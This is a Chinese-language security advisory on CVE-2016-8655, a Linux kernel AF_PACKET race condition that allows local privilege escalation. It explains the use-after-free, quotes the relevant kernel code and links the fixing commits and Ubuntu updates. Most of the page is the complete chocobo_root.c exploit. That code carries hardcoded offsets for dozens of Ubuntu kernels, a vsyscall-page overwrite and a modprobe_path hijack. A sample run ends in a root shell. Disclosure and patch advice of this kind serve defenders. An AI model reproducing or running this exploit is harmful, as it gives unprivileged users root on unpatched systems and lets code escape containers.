【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

释放双眼,带上耳机,听听看~!
Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

漏洞编号

CVE-2016-8655

漏洞概述

【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

这个BUG最早出现于2011年4月19号的代码中,详细参考:

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

该BUG已经于2016年11月30号被修复,详细参考:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

漏洞细节

要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。


1
<p>...</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; switch (po-&gt;tp_version) {</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case TPACKET_V3:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Transmit path is not supported. We checked</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* it above but just being paranoid</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!tx_ring)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; init_prb_bdqc(po, rb, pg_vec, req_u);</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; default:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</p><p>...</p>

创建timer的函数流为:


1
<p>packet_set_ring()-&gt;init_prb_bdqc()-&gt;prb_setup_retire_blk_timer()-&gt;</p><p>prb_init_blk_timer()-&gt;prb_init_blk_timer()-&gt;init_timer()</p>

该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):


1
<p>...</p><p>&nbsp; &nbsp; &nbsp; &nbsp; if (closing &amp;&amp; (po-&gt;tp_version &gt; TPACKET_V2)) {</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Because we don't support block-based V3 on tx-ring */</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!tx_ring)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prb_shutdown_retire_blk_timer(po, rb_queue);</p><p>&nbsp; &nbsp; &nbsp; &nbsp; }</p><p>...</p>

此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:


1
<p>...</p><p>&nbsp; &nbsp; &nbsp; &nbsp; case PACKET_VERSION:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; {</p><p>...</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (po-&gt;rx_ring.pg_vec || po-&gt;tx_ring.pg_vec)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -EBUSY;</p><p>...</p>

在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

漏洞PoC

按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…

PoC地址:https://www.exploit-db.com/exploits/40871/


1
/* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64  vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable..  new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd-&gt;hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 &amp;&amp; offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!   stage 1 completed registering new sysctl..  new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd-&gt;hdr.bh1.offset_to_first_pkt = 48 race not won  retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd-&gt;hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 &amp;&amp; offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!  stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=  There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4.  tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu  Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee  11/2016 by rebel */  #define _GNU_SOURCE #include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdint.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/wait.h&gt; #include &lt;assert.h&gt; #include &lt;errno.h&gt; #include &lt;fcntl.h&gt; #include &lt;poll.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;arpa/inet.h&gt; #include &lt;netinet/if_ether.h&gt; #include &lt;sys/mman.h&gt; #include &lt;sys/socket.h&gt; #include &lt;sys/stat.h&gt; #include &lt;linux/if_packet.h&gt; #include &lt;pthread.h&gt; #include &lt;linux/sched.h&gt; #include &lt;netinet/tcp.h&gt; #include &lt;sys/syscall.h&gt; #include &lt;signal.h&gt; #include &lt;sched.h&gt; #include &lt;sys/utsname.h&gt;  volatile int barrier = 1; volatile int vers_switcher_done = 0;  struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };   struct offset *off = NULL;  //99% of these offsets haven't actually been tested <img data-original="http://image.3001.net/images/index/smilies/icon_smile.gif" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" alt=':)' class='wp-smiley' /> <noscript><img src='http://image.3001.net/images/index/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></noscript>   struct offset offsets[] = {     {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},     {"4.4.0-47-generic #68~14.04.1",0,0,0,0},     {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},     {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},     {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},     {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},     {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},     {"4.2.0-17-generic #21",0,0,0,0},     {"4.2.0-18-generic #22",0,0,0,0},     {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},     {"4.2.0-21-generic #25~14.04.1",0,0,0,0},     {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},     {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},     {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},     {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},     {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},     {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},     {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},     {"4.2.0-23-generic #28",0,0,0,0},     {"4.2.0-25-generic #30",0,0,0,0},     {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},     {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},     {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},     {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},     {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},     {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},     {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},     {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},     {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},     {"4.2.0-25-generic #30~14.04.1",0,0,0,0},     {"4.2.0-23-generic #28~14.04.1",0,0,0,0},     {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},     {"4.4.0-47-generic #68",0,0,0,0},     {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},     {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},     {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},     {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},     {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},     {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},     {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},     {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},     {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},     {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},     {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},     {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},     {"4.8.0-26-generic #28",0,0,0,0},     {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},     {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},     {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},     {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},     {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},     {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},     {"4.2.0-19-generic #23",0,0,0,0},     {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},     {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},     {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},     {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},     {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},     {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},     {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},     {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},     {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},     {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},     {NULL,0,0,0,0} };  #define VSYSCALL 0xffffffffff600000  #define PAD 64  int pad_fds[PAD];  struct ctl_table {     const char *procname;     void *data;     int maxlen;     unsigned short mode;     struct ctl_table *child;     void *proc_handler;     void *poll;     void *extra1;     void *extra2; };  #define CONF_RING_FRAMES 1  struct tpacket_req3 tp; int sfd; int mapped = 0;  struct timer_list {     void *next;     void *prev;     unsigned long           expires;     void                    (*function)(unsigned long);     unsigned long           data;     unsigned int                     flags;     int                     slack; };  void *setsockopt_thread(void *arg) {     while(barrier) {     }     setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &amp;tp, sizeof(tp));      return NULL; }  void *vers_switcher(void *arg) {     int val,x,y;      while(barrier) {}      while(1) {         val = TPACKET_V1;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &amp;val, sizeof(val));          y++;          if(x != 0) break;          val = TPACKET_V3;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &amp;val, sizeof(val));          if(x != 0) break;          y++;     }      fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)/n",x,y,val);     vers_switcher_done = 1;       return NULL; }  #define BUFSIZE 1408 char exploitbuf[BUFSIZE];  void kmalloc(void) {     while(1)         syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); }   void pad_kmalloc(void) {     int x;      for(x=0; x&lt;PAD; x++)         if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {             fprintf(stderr,"pad_kmalloc() socket error/n");             exit(1);         }  }  int try_exploit(unsigned long func, unsigned long arg, void *verification_func) {     pthread_t setsockopt_thread_thread,a;     int val;     socklen_t l;     struct timer_list *timer;     int fd;     struct tpacket_block_desc *pbd;     int off;     sigset_t set;      sigemptyset(&amp;set);      sigaddset(&amp;set, SIGSEGV);      if(pthread_sigmask(SIG_BLOCK, &amp;set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p/n",(void *)func,(void *)arg);      pad_kmalloc();      fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));      if (fd==-1) {         printf("target socket error/n");         exit(1);     }      pad_kmalloc();      fprintf(stderr,"sockets allocated/n");      val = TPACKET_V3;      setsockopt(fd, SOL_PACKET, PACKET_VERSION, &amp;val, sizeof(val));      tp.tp_block_size = CONF_RING_FRAMES * getpagesize();     tp.tp_block_nr = 1;     tp.tp_frame_size = getpagesize();     tp.tp_frame_nr = CONF_RING_FRAMES;  //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won     tp.tp_retire_blk_tov = 10000;      sfd = fd;      if(pthread_create(&amp;setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {         fprintf(stderr, "Error creating thread/n");         return 1;     }       pthread_create(&amp;a, NULL, vers_switcher, (void *)NULL);      usleep(200000);      fprintf(stderr,"removing barrier and spraying../n");      memset(exploitbuf,'/x00',BUFSIZE);      timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);     timer-&gt;next = 0;     timer-&gt;prev = 0;      timer-&gt;expires = 4294943360;     timer-&gt;function = (void *)func;     timer-&gt;data = arg;     timer-&gt;flags = 1;     timer-&gt;slack = -1;       barrier = 0;      usleep(100000);      while(!vers_switcher_done)usleep(100000);      l = sizeof(val);     getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &amp;val, &amp;l);      fprintf(stderr,"current packet version = %d/n",val);      pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);       if(pbd == MAP_FAILED) {         fprintf(stderr,"could not map pbd/n");         exit(1);     }      else {         off = pbd-&gt;hdr.bh1.offset_to_first_pkt;         fprintf(stderr,"pbd-&gt;hdr.bh1.offset_to_first_pkt = %d/n",off);     }       if(val == TPACKET_V1 &amp;&amp; off != 0) {         fprintf(stderr,"*=*=*=* TPACKET_V1 &amp;&amp; offset_to_first_pkt != 0, race won *=*=*=*/n");     }      else {         fprintf(stderr,"race not won/n");         exit(2);     }      munmap(pbd, tp.tp_block_size * tp.tp_block_nr);      pthread_create(&amp;a, NULL, verification_func, (void *)NULL);      fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that./n");     sleep(1);     fprintf(stderr,"closing socket and verifying..");      close(sfd);      kmalloc();      fprintf(stderr,"all messages sent/n");      sleep(31337);     exit(1); }   int verification_result = 0;  void catch_sigsegv(int sig) {     verification_result = 0;     pthread_exit((void *)1); }   void *modify_vsyscall(void *arg) {     unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);     unsigned long x = (unsigned long)arg;      sigset_t set;     sigemptyset(&amp;set);     sigaddset(&amp;set, SIGSEGV);      if(pthread_sigmask(SIG_UNBLOCK, &amp;set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      signal(SIGSEGV, catch_sigsegv);      *vsyscall = 0xdeadbeef+x;      if(*vsyscall == 0xdeadbeef+x) {         fprintf(stderr,"/nvsyscall page altered!/n");         verification_result = 1;         pthread_exit(0);     }      return NULL; }  void verify_stage1(void) {     int x;     pthread_t v_thread;      sleep(5);      for(x=0; x&lt;300; x++) {          pthread_create(&amp;v_thread, NULL, modify_vsyscall, 0);          pthread_join(v_thread, NULL);          if(verification_result == 1) {             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not modify vsyscall/n");      exit(1); }  void verify_stage2(void) {     int x;     struct stat b;      sleep(5);      for(x=0; x&lt;300; x++) {          if(stat("/proc/sys/hack",&amp;b) == 0) {             fprintf(stderr,"/nsysctl added!/n");             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not add sysctl/n");     exit(1);   }  void exploit(unsigned long func, unsigned long arg, void *verification_func) {     int status;     int pid;  retry:      pid = fork();      if(pid == 0) {         try_exploit(func, arg, verification_func);         exit(1);     }      wait(&amp;status);      printf("/n");      if(WEXITSTATUS(status) == 2) {         printf("retrying stage../n");         kill(pid, 9);         sleep(2);         goto retry;     }      else if(WEXITSTATUS(status) != 0) {         printf("something bad happened, aborting exploit attempt/n");         exit(-1);     }        kill(pid, 9); }   void wrapper(void) {     struct ctl_table *c;      fprintf(stderr,"exploit starting/n");     printf("making vsyscall page writable../n/n");      exploit(off-&gt;set_memory_rw, VSYSCALL, verify_stage1);      printf("/nstage 1 completed/n");      sleep(5);      printf("registering new sysctl../n/n");      c = (struct ctl_table *)(VSYSCALL+0x850);      memset((char *)(VSYSCALL+0x850), '/x00', 1952);      strcpy((char *)(VSYSCALL+0xf00),"hack");     memcpy((char *)(VSYSCALL+0xe00),"/x01/x00/x00/x00",4);     c-&gt;procname = (char *)(VSYSCALL+0xf00);     c-&gt;mode = 0666;     c-&gt;proc_handler = (void *)(off-&gt;proc_dostring);     c-&gt;data = (void *)(off-&gt;modprobe_path);     c-&gt;maxlen=256;     c-&gt;extra1 = (void *)(VSYSCALL+0xe00);     c-&gt;extra2 = (void *)(VSYSCALL+0xd00);      exploit(off-&gt;register_sysctl_table, VSYSCALL+0x850, verify_stage2);      printf("stage 2 completed/n"); }  void launch_rootshell(void) {     int fd;     char buf[256];     struct stat s;       fd = open("/proc/sys/hack",O_WRONLY);      if(fd == -1) {         fprintf(stderr,"could not open /proc/sys/hack/n");         exit(-1);     }      memset(buf,'/x00', 256);      readlink("/proc/self/exe",(char *)&amp;buf,256);      write(fd,buf,strlen(buf)+1);      socket(AF_INET,SOCK_STREAM,132);      if(stat(buf,&amp;s) == 0 &amp;&amp; s.st_uid == 0) {         printf("binary executed by kernel, launching rootshell/n");         lseek(fd, 0, SEEK_SET);         write(fd,"/sbin/modprobe",15);         close(fd);         execl(buf,buf,NULL);     }      else         printf("could not create rootshell/n");   }  int main(int argc, char **argv) {     int status, pid;     struct utsname u;     int i, crash = 0;     char buf[512], *f;       if(argc == 2 &amp;&amp; !strcmp(argv[1],"crash")) {         crash = 1;     }       if(getuid() == 0 &amp;&amp; geteuid() == 0 &amp;&amp; !crash) {         chown("/proc/self/exe",0,0);         chmod("/proc/self/exe",06755);         exit(-1);     }      else if(getuid() != 0 &amp;&amp; geteuid() == 0 &amp;&amp; !crash) {         setresuid(0,0,0);         setresgid(0,0,0);         execl("/bin/bash","bash","-p",NULL);         exit(0);     }      fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n");      uname(&amp;u);      if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0';      snprintf(buf,512,"%s %s",u.release,u.version);      printf("kernel version: %s/n",buf);       for(i=0; offsets[i].kernel_version != NULL; i++) {         if(!strcmp(offsets[i].kernel_version,buf)) {              while(offsets[i].proc_dostring == 0)                 i--;              off = &amp;offsets[i];             break;         }     }      if(crash) {         off = &amp;offsets[0];         off-&gt;set_memory_rw = 0xffffffff41414141;     }      if(off) {         printf("proc_dostring = %p/n",(void *)off-&gt;proc_dostring);         printf("modprobe_path = %p/n",(void *)off-&gt;modprobe_path);         printf("register_sysctl_table = %p/n",(void *)off-&gt;register_sysctl_table);         printf("set_memory_rw = %p/n",(void *)off-&gt;set_memory_rw);     }      if(!off) {         fprintf(stderr,"i have no offsets for this kernel version../n");         exit(-1);     }      pid = fork();      if(pid == 0) {         if(unshare(CLONE_NEWUSER) != 0)             fprintf(stderr, "failed to create new user namespace/n");          if(unshare(CLONE_NEWNET) != 0)             fprintf(stderr, "failed to create new network namespace/n");          wrapper();         exit(0);     }      waitpid(pid, &amp;status, 0);      launch_rootshell();     return 0; }<br />

修复方法

如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

相关链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

https://www.ubuntu.com/usn/usn-3151-1/

* 参考来源:Seclists.org,转载请注明来自FreeBuf.COM

给TA打赏
共{{data.count}}人
人已打赏
安全事件

“鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入

2016-12-20 2:59:05

安全事件

【漏洞预警】ImageMagick压缩TIFF图片远程代码执行漏洞(CVE-2016-8707)

2016-12-20 5:19:38

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索